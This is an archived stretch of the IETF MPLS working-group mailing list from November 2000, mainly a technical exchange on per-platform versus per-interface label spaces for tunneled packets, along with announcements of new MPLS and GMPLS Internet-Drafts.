Precedence: bulk Hi James, > > > Also, what was once a outer label could become an inner > label due to > > > protection switching/path protection. > > > > If we expect this to happen, we also need to use > per-platform label space > > for the outer tunnel. > > If I understand you correctly, your answer to the original question > (about MPLS-BGP labels), can be summarized as "clever label > allocation". > Sorry James this was my mistake. In fact you don't need anything special and the previous rule that I mentioned is still valid: "Use per-platform label space for the inner label of tunneled packets" First of all I assume by protection switching you meant using by-pass tunnels, otherwise you won't have label stacking. With this assumption, let me explain the solution to it by an example: Assume the working path is F-A-B-C-D, and the protection path is F-A-E-C-D. Assume that labels L1,L2,L3,L4 are used for working path and labels L1,L5,L6,L4 are used for protection path. However to use the protection path as a bypass tunnel node A needs to swap label L1 to another label that has been distributed by C, which I call it X1. It is this X1 that should be from the per-platform label space of C. Label L3,L6 don't need to be from per-platform label space of C. L1 L2 L3 L4 F-------A-------B--------C---------D | | -------E-------- L5 L6 X1 X1 Regards, -Shahram From owner-mpls@UU.NET Tue Nov 28 12:27:10 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA08508 for ; Tue, 28 Nov 2000 12:27:10 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrhd27438; Tue, 28 Nov 2000 17:24:05 GMT Received: by mail-control.mail.uu.net id QQjrhd19344 for mpls-outgoing; Tue, 28 Nov 2000 17:23:45 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrhd19326 for ; Tue, 28 Nov 2000 17:23:40 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrhd04442 for ; Tue, 28 Nov 2000 17:23:19 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrhd26307 for ; Tue, 28 Nov 2000 17:23:19 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id MAA04700 for mpls@uu.net; Tue, 28 Nov 2000 12:23:18 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjrhd19272 for ; Tue, 28 Nov 2000 17:23:04 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrhd11212 for ; Tue, 28 Nov 2000 17:22:46 GMT Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjrhd06812 for ; Tue, 28 Nov 2000 17:22:45 GMT Received: from toque.cisco.com (toque.cisco.com [161.44.208.153]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id JAA20952 for ; Tue, 28 Nov 2000 09:22:46 -0800 (PST) Received: from samour-nt2.cisco.com (kan-dhcp209-210.cisco.com [161.44.209.210]) by toque.cisco.com (Mirapoint) with ESMTP id AAN15191; Tue, 28 Nov 2000 12:22:43 -0500 (EST) Message-Id: <4.3.2.7.2.20001128122301.00adc100@toque.cisco.com> X-Sender: samour@toque.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 28 Nov 2000 12:23:27 -0500 To: mpls@UU.NET From: Raymond Samour Subject: unsubscribe Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-mpls@UU.NET Precedence: bulk unsubscribe From owner-mpls@UU.NET Tue Nov 28 15:18:22 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA00753 for ; Tue, 28 Nov 2000 15:18:21 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrhp08244; Tue, 28 Nov 2000 20:15:49 GMT Received: by mail-control.mail.uu.net id QQjrhp11967 for mpls-outgoing; Tue, 28 Nov 2000 20:15:03 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrho11861 for ; Tue, 28 Nov 2000 20:14:44 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrho08816 for ; Tue, 28 Nov 2000 20:13:41 GMT From: wesam.alanqar@mail.sprint.com Received: from kcmgwp01.corp.sprint.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: parker1.sprint.com [208.18.122.165]) id QQjrho23393 for ; Tue, 28 Nov 2000 20:13:40 GMT Received: from kcmgwp02.corp.sprint.com (kcmgwp02 [10.185.6.93]) by kcmgwp01.corp.sprint.com (Switch-2.0.2/Switch-2.0.2) with ESMTP id eASKDeE27075 for ; Tue, 28 Nov 2000 14:13:40 -0600 (CST) Received: from kcopmp02.corp.sprint.com (kcopmp02m.corp.sprint.com [10.74.2.73]) by kcmgwp02.corp.sprint.com (Switch-2.0.2/Switch-2.0.2) with ESMTP id eASKDdO25295 for ; Tue, 28 Nov 2000 14:13:39 -0600 (CST) Received: from localhost (root@localhost) by kcopmp02.corp.sprint.com (8.8.6 (PHNE_17190)/8.8.6) with ESMTP id OAA17135 for ; Tue, 28 Nov 2000 14:13:38 -0600 (CST) X-OpenMail-Hops: 1 Date: Tue, 28 Nov 2000 14:13:38 -0600 Message-Id: Subject: Agenda in the IETF MIME-Version: 1.0 TO: mpls@UU.NET Content-Type: multipart/mixed; boundary="openmail-part-165d570a-00000001" Sender: owner-mpls@UU.NET Precedence: bulk --openmail-part-165d570a-00000001 Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline ;Creation-Date="Tue, 28 Nov 2000 14:13:38 -0600" Content-Transfer-Encoding: 8bit All, Does any body know a detailed agenda for the IETF in San Diego other than the one listed on the web? For example, what will be discussed in each MPLS WG session? When will GMPLS, LMP, extensions to CR-LDP, RSVP-TE for GMPLS will be discussed? I appreciate your feedback. Thanks. ------------------------------------------------------------------------ - Wesam Alanqar Member of Technical Staff Technology Concepts, Innovations and Evaluation (TCIE) Technology Planning & Integration- Sprint TP&I 9300 Metcalf Avenue Overland Park, KS 66212-1463 Phone: 913-534-5623 Fax: 913-534-3485 ------------------------------------------------------------------------ - > --openmail-part-165d570a-00000001-- From owner-mpls@UU.NET Tue Nov 28 15:51:59 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA10812 for ; Tue, 28 Nov 2000 15:51:59 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrhr26657; Tue, 28 Nov 2000 20:48:43 GMT Received: by mail-control.mail.uu.net id QQjrhr14627 for mpls-outgoing; Tue, 28 Nov 2000 20:48:24 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrhr14618 for ; Tue, 28 Nov 2000 20:48:19 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrhr06759 for ; Tue, 28 Nov 2000 20:46:33 GMT Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6]) id QQjrhr16791 for ; Tue, 28 Nov 2000 20:46:33 GMT Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA09739; Tue, 28 Nov 2000 15:46:30 -0500 (EST) Received: from stl-server-01.pit.comms.marconi.com (stl-server-01.pit.comms.marconi.com [169.144.36.27]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA00690; Tue, 28 Nov 2000 15:46:29 -0500 (EST) Received: by stl-server-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Tue, 28 Nov 2000 15:46:20 -0500 Message-ID: <4FBEA8857476D311A03300204840E1CF446BB5@whq-msgusr-02.pit.comms.marconi.com> From: "Choudhury, Sanjaya" To: "'Shahram Davari'" Cc: mpls@UU.NET Subject: RE: Label space of a label advertised through MPLS-BGP Date: Tue, 28 Nov 2000 15:46:09 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Hi Shahram! I have some follow-up questions on the rules you pointed out. Q1. Is the rule, "Use per-platform label space for inner label of tunneled packets" is true for ALL cases ? Q2. Is the following approach for allocation of label for inner label incorrect ? Consider the following case: 1. R1 & R5 are two LSRs controlled by enterprise1 2. R2, R3 and R4 are three LSRs controlled by provider1 3. LSP Tunnel L1 originates at R2 and terminates at R4 a. Label between R4 & R3 is L1 (from interface label space) b. Label between R3 and R2 is L1' (from interface label space) c. Assume that the LSP has been advertised as link into ISIS/OSPF R1----------R2-------R3-------R4-------R5 (LSP L1) ----L1'------L1---- Now, if one has to create a LSP L2 between R1 and R5 can the following scheme be used ? 4. LSP L2 originates from R1 and terminates at R5 a. Label between R5 and R4 is L2 (from interface label space) b. Label between R4 and R2 is L2' (from interface label space) This Label L2' will be the second level label until R2. c. Label between R2 and R1 is L2" (from interface label space) R1----------R2-------R3-------R4-------R5 (LSP L1) ----L1'-------L1---- (LSP L2)----L2"-----L1'|L2'-----L1|L2'---L2--- Q3. You also pointed out that following: "Also note that any label that has been drawn from the per-platform label space should not be used any more by the per-interface label spaces." The LSR MIB (lsr-mib-08) states that the mplsInterfaceParticipationType for a specific MPLS Interface can either be perPlatform(0) or perInterface(1). Does one have to take out label drawn from the per-platform label space, from the label spaces of interface that are not participating in the perPlatform label space ? Thanks for your help, sanjay -----Original Message----- From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com] Sent: Tuesday, November 28, 2000 12:15 PM To: 'jleu@mindspring.com' Cc: James_Huang@Mitel.COM; mpls@UU.NET Subject: RE: Label space of a label advertised through MPLS-BGP Hi James, > > > Also, what was once a outer label could become an inner > label due to > > > protection switching/path protection. > > > > If we expect this to happen, we also need to use > per-platform label space > > for the outer tunnel. > > If I understand you correctly, your answer to the original question > (about MPLS-BGP labels), can be summarized as "clever label > allocation". > Sorry James this was my mistake. In fact you don't need anything special and the previous rule that I mentioned is still valid: "Use per-platform label space for the inner label of tunneled packets" First of all I assume by protection switching you meant using by-pass tunnels, otherwise you won't have label stacking. With this assumption, let me explain the solution to it by an example: Assume the working path is F-A-B-C-D, and the protection path is F-A-E-C-D. Assume that labels L1,L2,L3,L4 are used for working path and labels L1,L5,L6,L4 are used for protection path. However to use the protection path as a bypass tunnel node A needs to swap label L1 to another label that has been distributed by C, which I call it X1. It is this X1 that should be from the per-platform label space of C. Label L3,L6 don't need to be from per-platform label space of C. L1 L2 L3 L4 F-------A-------B--------C---------D | | -------E-------- L5 L6 X1 X1 Regards, -Shahram From owner-mpls@UU.NET Tue Nov 28 16:17:21 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA19079 for ; Tue, 28 Nov 2000 16:17:20 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrhs29378; Tue, 28 Nov 2000 21:14:55 GMT Received: by mail-control.mail.uu.net id QQjrhs28532 for mpls-outgoing; Tue, 28 Nov 2000 21:14:23 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrhs28525 for ; Tue, 28 Nov 2000 21:14:22 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrhs27086 for ; Tue, 28 Nov 2000 21:12:48 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrhs03192 for ; Tue, 28 Nov 2000 21:12:48 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id QAA07134 for mpls@uu.net; Tue, 28 Nov 2000 16:12:47 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrhs28333 for ; Tue, 28 Nov 2000 21:12:07 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrhs20484 for ; Tue, 28 Nov 2000 21:10:28 GMT Received: from procyon.pmc-sierra.bc.ca by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: procyon.pmc-sierra.bc.ca [134.87.115.1]) id QQjrhs23417 for ; Tue, 28 Nov 2000 21:10:28 GMT Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251]) by procyon.pmc-sierra.bc.ca (6.6.6/6.6.6) with ESMTP id NAA29319; Tue, 28 Nov 2000 13:10:20 -0800 (PST) Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2650.21) id ; Tue, 28 Nov 2000 13:10:21 -0800 Message-ID: <9DC5E2ABE65BD54CA9088DA3194461D6010C9A97@BBY1EXM01> From: Shahram Davari To: "'Choudhury, Sanjaya'" Cc: mpls@UU.NET Subject: RE: Label space of a label advertised through MPLS-BGP Date: Tue, 28 Nov 2000 13:10:20 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Hi, > Q1. Is the rule, "Use per-platform label space for > inner label of tunneled packets" is true for ALL cases ? No. If somehow you know from which interface an assigned label will arrive, we could use per-interface labels. The reason that I said use per-platform label is because MPLS is mainly used for TE, so the LSP could change dynamically and therefore the interface that the label arrives could change. > > Q2. Is the following approach for allocation of label for > inner label incorrect ? > > Consider the following case: > 1. R1 & R5 are two LSRs controlled by enterprise1 > 2. R2, R3 and R4 are three LSRs controlled by provider1 > 3. LSP Tunnel L1 originates at R2 and terminates at R4 > a. Label between R4 & R3 is L1 (from interface label space) > b. Label between R3 and R2 is L1' (from interface label space) > c. Assume that the LSP has been advertised as link into ISIS/OSPF > R1----------R2-------R3-------R4-------R5 > (LSP L1) ----L1'------L1---- > > Now, if one has to create a LSP L2 between R1 and R5 > can the following scheme be used ? > > 4. LSP L2 originates from R1 and terminates at R5 > a. Label between R5 and R4 is L2 (from interface label space) > b. Label between R4 and R2 is L2' (from interface label space) > This Label L2' will be the second level label until R2. > c. Label between R2 and R1 is L2" (from interface label space) > > R1----------R2-------R3-------R4-------R5 > (LSP L1) ----L1'-------L1---- > (LSP L2)----L2"-----L1'|L2'-----L1|L2'---L2--- Yes. This works as long as the LSP tunnel L1 is static or at least terminates at the same R4 interface. > > Q3. You also pointed out that following: "Also note that any label > that has been drawn from the per-platform label space should not > be used any more by the per-interface label spaces." > > The LSR MIB (lsr-mib-08) states that the > mplsInterfaceParticipationType for a specific MPLS Interface can > either be perPlatform(0) or perInterface(1). Does one have to take > out label drawn from the per-platform label space, from the label > spaces of interface that are not participating in the perPlatform > label space ? I don't understand what you mean by "interface that are not participating in the perPlatform label space". If you mean that you are 100% sure that no per-platform label could arrive at a particular interface, then you probably don't have to exclude them from that per-interface label space. But a router has millions of labels, which I doubt will be fully used. It probably is safer to exclude the per-platform labels from all per-interface label spaces. Regards, -Shahram From owner-mpls@UU.NET Tue Nov 28 17:55:01 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA29551 for ; Tue, 28 Nov 2000 17:55:01 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrhz28993; Tue, 28 Nov 2000 22:52:26 GMT Received: by mail-control.mail.uu.net id QQjrhz21347 for mpls-outgoing; Tue, 28 Nov 2000 22:52:05 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrhz21342 for ; Tue, 28 Nov 2000 22:52:04 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrhz26884 for ; Tue, 28 Nov 2000 22:51:09 GMT Received: from lobster.baynetworks.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: ns3.BayNetworks.COM [192.32.253.3]) id QQjrhz20252 for ; Tue, 28 Nov 2000 22:51:08 GMT Received: from mailhost.BayNetworks.COM (ns4.baynetworks.com [132.245.135.84]) by lobster.baynetworks.com (8.9.1/8.9.1) with ESMTP id RAA11058 for ; Tue, 28 Nov 2000 17:56:09 -0500 (EST) Received: from pobox.engeast.BayNetworks.COM (pobox.engeast.baynetworks.com [192.32.61.6]) by mailhost.BayNetworks.COM (8.9.1/8.8.8) with ESMTP id RAA28880 for ; Tue, 28 Nov 2000 17:51:01 -0500 (EST) Received: from dfedyk-new.corpeast.baynetworks.com (dhcp235-110 [192.32.235.110]) by pobox.engeast.BayNetworks.COM (SMI-8.6/BNET-97/04/24-S) with SMTP id RAA11726; Tue, 28 Nov 2000 17:51:00 -0500 for Message-Id: <3.0.1.32.20001128175248.0072e084@pobox.engeast.baynetworks.com> X-Sender: dwfedyk@pobox.engeast.baynetworks.com X-Mailer: Windows Eudora Pro Version 3.0.1 (32) Date: Tue, 28 Nov 2000 17:52:48 -0500 To: mpls@UU.NET From: Don Fedyk Subject: Multi-Service over MPLS Draft Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-mpls@UU.NET Precedence: bulk Hi For those interested, this is a short notice that a another draft on Multi-Service over MPLS has been posted as: http://www.ietf.org/internet-drafts/draft-stdenis-ms-over-mpls-00.txt I have for a slot at the Circuit Emulation Over Transport BOF. Cheers, Don From owner-mpls@UU.NET Tue Nov 28 20:04:38 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA20799 for ; Tue, 28 Nov 2000 20:04:38 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrii07365; Wed, 29 Nov 2000 01:02:24 GMT Received: by mail-control.mail.uu.net id QQjrii04881 for mpls-outgoing; Wed, 29 Nov 2000 01:01:54 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrii04874 for ; Wed, 29 Nov 2000 01:01:47 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrii19634 for ; Wed, 29 Nov 2000 01:01:24 GMT Received: from research.gate.nec.co.jp by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: research.gate.nec.co.jp [202.247.6.217]) id QQjrii05900 for ; Wed, 29 Nov 2000 01:01:23 GMT Received: from tomato.nwk.cl.nec.co.jp (IDENT:JzSkRdu5eJQDGP4vYeMuMCs+o4Jz9ako@tomato.nwk.cl.nec.co.jp [10.56.32.1]) by research.gate.nec.co.jp (8.9.3+3.2W/000323) with ESMTP id KAA26420 for ; Wed, 29 Nov 2000 10:01:21 +0900 (JST) Received: from tea.nwk.cl.nec.co.jp by tomato.nwk.cl.nec.co.jp (8.9.3/NWKM20000322) with ESMTP id KAA00568 for ; Wed, 29 Nov 2000 10:01:20 +0900 (JST) Received: from iwata-pc2 (iwata-pc2.nwk.cl.nec.co.jp [10.56.32.77]) by tea.nwk.cl.nec.co.jp (8.9.0/3.7W) with ESMTP id KAA26032 for ; Wed, 29 Nov 2000 10:01:19 +0900 (JST) Message-Id: <4.2.0.58.J.20001129100613.00a85e70@tea.nwk.cl.nec.co.jp> X-Sender: iwata@tea.nwk.cl.nec.co.jp Reply-To: iwata@ccm.CL.nec.co.jp X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58.J Date: Wed, 29 Nov 2000 10:11:47 +0900 To: MPLS ML From: Atsushi Iwata Subject: Updated draft for crankback routing extensions Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-mpls@UU.NET Precedence: bulk Dear MPLS folks, I'm Atsushi Iwata in NEC Corporation. I've submitted the following I-D in MPLS WG. In this version, RSVP-TE crankback routing extension is also included, and several new specifications are included. In this draft, (1) CR-LDP sections were already accepted as a WG draft, except a small additional change. (2) RSVP-TE sections were newly added, and need discussions. If (2) will be agreed as a WG draft, then the whole draft will be renamed as draft-mpls-crankback-00.txt and resubmitted to the IETF after this IETF. If (2) will not be agreed as a WG draft, then only part (1) will be extracted and will be renamed as draft-mpls-crankback-00.txt and resubmitted to the IETF after the IETF. Maybe RSVP-TE portions will be discussed in the draft-iwata-mpls-crankback-01.txt or so. Best Regards, ----- To: IETF-Announce:; From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-iwata-mpls-crankback-00.txt Date: Tue, 28 Nov 2000 05:57:54 -0500 Sender: nsyracus@cnri.reston.va.us X-UIDL: ba6fd0aca8ed825c8269b45400bb6f81 A New Internet-Draft is available from the on-line Internet-Drafts directories. Title : Crankback Routing Extensions for MPLS Signaling Author(s) : A. Iwata, N. Fujita, G. Ash, A. Farrel Filename : draft-iwata-mpls-crankback-00.txt Pages : 30 Date : 27-Nov-00 This draft proposes crankback routing extensions for CR-LDP signaling and for RSVP-TE signaling. Recently, several routing protocol extensions for advertising resource information in addition to topology information have been proposed for use in distributed constraint-based routing. In such a distributed routing environment, however, the information used to compute a constraint-based path may be out of date. This means that LSP setup requests may be blocked by links or nodes without sufficient resources. This draft specifies crankback routing extensions for CR-LDP and RSVP-TE so that the label request can be retried on an alternate path that detours around the blocked link or node upon a setup failure. Furthermore, the crankback routing schemes can also be applied to LSP restoration by indicating the location of the failure link or node. This would significantly improve the successful recovery ratio for failed LSPs, especially in situations where a large number of setup requests are triggered at the same time. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-iwata-mpls-crankback-00.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-iwata-mpls-crankback-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-iwata-mpls-crankback-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. Content-Type: text/plain Content-ID: <20001127132638.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-iwata-mpls-crankback-00.txt ---------------------------------------------------------------- Atsushi Iwata Assistant Manager Network Architecture TG, Computer and Communication Media Research Labs, NEC Corporation 4-1-1 Miyazaki Miyamae-ku, Kawasaki, Japan 216-8555 TEL: +81-44-856-2123 (Direct), Fax: +81-44-856-2230 (Direct) NEC-internal TEL: 8-272-3281, NEC-internal FAX: 8-272-3299 Internet E-mail: a-iwata@ah.jp.nec.com NEC-internal E-mail: iwata@ccm.CL.nec.co.jp ** New organization has started since Apr.1, 2000. *** From owner-mpls@UU.NET Tue Nov 28 23:02:20 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA29362 for ; Tue, 28 Nov 2000 23:02:20 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjriu00680; Wed, 29 Nov 2000 04:00:05 GMT Received: by mail-control.mail.uu.net id QQjrit14487 for mpls-outgoing; Wed, 29 Nov 2000 03:59:48 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrit14482 for ; Wed, 29 Nov 2000 03:59:37 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrit26135 for ; Wed, 29 Nov 2000 03:59:20 GMT From: Vishal.Sharma@tellabs.com Received: from mx4.tellabs.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mx4.tellabs.com [204.68.180.54]) id QQjrit13555 for ; Wed, 29 Nov 2000 03:59:20 GMT Received: from mail.hq.tellabs.com (mail.bb.tellabs.com [138.111.51.100]) by mx4.tellabs.com (Mirapoint) with ESMTP id AAH82735; Tue, 28 Nov 2000 21:50:18 -0600 (CST) Received: from localhost (root@localhost) by mail.hq.tellabs.com (8.8.6 (PHNE_17135)/8.8.6) with ESMTP id VAA25805; Tue, 28 Nov 2000 21:50:14 -0600 (CST) X-OpenMail-Hops: 1 Date: Tue, 28 Nov 2000 21:50:13 -0600 Message-Id: Subject: New drafts related to MPLS control of non-packet technologies MIME-Version: 1.0 TO: mpls@UU.NET CC: Ben.Mack-Crane@tellabs.com, braja@tellium.com, dsaha@tellium.com, Eric.Mannie@gtsgroup.com, GregB@ciena.com, JConnell@WhiteRockNetworks.com, Mraftelis@WhiteRockNetworks.com, schatterjee@WhiteRockNetworks.com Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline ;Creation-Date="Tue, 28 Nov 2000 21:50:13 -0600" Sender: owner-mpls@UU.NET Precedence: bulk Hello All, FYI, there are three new drafts that focus on the application of the MPLS control plane to technologies other than just packets. They are: 1. draft-bernstein-gmpls-optical-00.txt -- Discusses some general issues that arise in the control of optical TDM and WDM networks. http:/www.ietf.org/internet-drafts/draft-bernstein-gmpls-optical-00.txt 2. draft-bms-sdhsonet-mpls-control-frmwrk-00.txt -- Provides an overview of SDH/SONET, and discusses issues specific to the application of MPLS control for SDH/SONET networks. http://www.ietf.org/internet-drafts/draft-bms-optical-sdhsonet-mpls-control-frmwrk-00.txt 3. draft-mack-crane-gmpls-signaling-enhancements-00.txt -- Presents the rationale for and some enhancements to GMPLS signaling formats for optical TDM and WDM networks. http://www.ietf.org/internet-drafts/draft-mack-crane-gmpls-signaling-enhancements-00.txt We welcome the WG's comments/suggestions, and look forward to discussing these at San Diego. Regards, -Vishal From owner-mpls@UU.NET Wed Nov 29 06:26:40 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA29236 for ; Wed, 29 Nov 2000 06:26:40 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrjx13840; Wed, 29 Nov 2000 11:24:01 GMT Received: by mail-control.mail.uu.net id QQjrjx15100 for mpls-outgoing; Wed, 29 Nov 2000 11:23:30 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrjx15093 for ; Wed, 29 Nov 2000 11:23:24 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrjx26382 for ; Wed, 29 Nov 2000 11:22:31 GMT Received: from hotmail.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: oe72.law11.hotmail.com [64.4.16.207]) id QQjrjx11823 for ; Wed, 29 Nov 2000 11:22:31 GMT Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 29 Nov 2000 03:22:30 -0800 X-Originating-IP: [132.146.246.246] Reply-To: "HOTMAIL" From: "HOTMAIL" To: , , , , Cc: Subject: Re: OSPF link weight 